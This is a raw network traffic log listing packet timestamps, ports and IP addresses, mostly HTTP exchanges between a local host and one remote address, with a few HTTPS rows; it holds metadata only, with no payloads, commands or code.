Oct 31, 2024 01:18:54.199014902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199033022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199033022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199063063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199074030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199081898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199088097 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199105024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199199915 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199263096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199273109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199374914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199385881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199395895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199403048 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199405909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199420929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199428082 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199449062 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199460983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199470997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199486017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199487925 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199496031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199506044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199507952 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199516058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199529886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199536085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199554920 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199599981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199609995 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199620008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199625969 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199630022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199641943 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199680090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199680090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199850082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199860096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199976921 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.199984074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.199992895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200004101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200014114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200037956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200066090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200082064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200092077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200093031 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200097084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200103045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200191975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200201988 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200203896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200215101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200225115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200234890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200249910 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200249910 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200325966 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200387955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200397015 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200407028 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200448036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200484991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200495005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200505018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200514078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200566053 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200566053 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200577974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200618982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200634956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200644016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200644970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200665951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200668097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200679064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200692892 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200735092 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200746059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200758934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200829983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200858116 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200884104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200895071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200903893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200911045 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200928926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200954914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200965881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200974941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200982094 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.200985909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.200999022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201069117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201086998 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201095104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201097012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201113939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201124907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201136112 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201139927 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201145887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201157093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201159000 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201174974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201205015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201205015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201277971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201287031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201360941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201370001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201378107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201380014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201395988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201404095 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201406956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201416969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201423883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201426983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201437950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201443911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201462030 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201536894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201543093 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201554060 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201564074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201575041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201586008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201592922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201592922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201662064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201667070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201678038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201687098 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201697111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201710939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201720953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201730013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.201735973 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201752901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.201817036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.265233040 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.265850067 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.265866995 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.267721891 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.267728090 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.290285110 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.296165943 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.296190977 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.296777010 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.296786070 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.304725885 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.305207968 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.305222988 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.307713985 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.307718992 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.309925079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.309940100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.309950113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310045004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310045004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310045958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310058117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310064077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310070038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310139894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310149908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310167074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310188055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310252905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310264111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310276031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310307026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310307980 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310318947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310328960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310331106 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:54.310333967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310343981 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:54.310353041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310374975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310374975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310412884 CET	49999	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:54.310414076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310425997 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:54.310471058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310481071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310497999 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310508966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310525894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310537100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310547113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310549974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310549974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310561895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310571909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310641050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310664892 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310692072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310703039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310724974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310734987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310745001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310751915 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310770035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310780048 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310790062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310801029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310806990 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310813904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310825109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310827017 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310836077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310848951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310864925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310875893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310884953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310890913 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310910940 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310911894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310921907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310931921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310944080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310950041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310956001 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310956001 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310961962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310971975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310973883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.310982943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310993910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.310997009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311007023 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311007023 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311064959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311077118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311085939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311091900 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311096907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311109066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311120033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311135054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311136007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311146021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311155081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311157942 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311181068 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311367989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311383963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311395884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311402082 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311407089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311419010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311419010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311429024 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311440945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311451912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311451912 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311461926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311463118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311474085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311486959 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311491966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311502934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311511993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311516047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311516047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311522007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311532974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311536074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311536074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311544895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311557055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311558008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311568022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311578989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311588049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311594009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311594009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311599016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311609983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311631918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311683893 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311696053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311707020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311717033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311728001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311744928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311753035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311755896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311765909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311769009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311774015 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311784029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311789989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311800957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311809063 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311810970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311820984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311829090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311831951 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311846972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311856985 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311857939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311868906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311871052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311880112 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311892986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311897039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311908007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311918020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311922073 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311932087 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311964035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311964989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311964989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.311975002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.311991930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312004089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312056065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312056065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312057972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312068939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312078953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312093019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312119007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312131882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312141895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312158108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312158108 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312170029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312184095 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312272072 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312278032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312294960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312305927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312315941 CET	80	49962	185.215.113.206	192.168.2.5
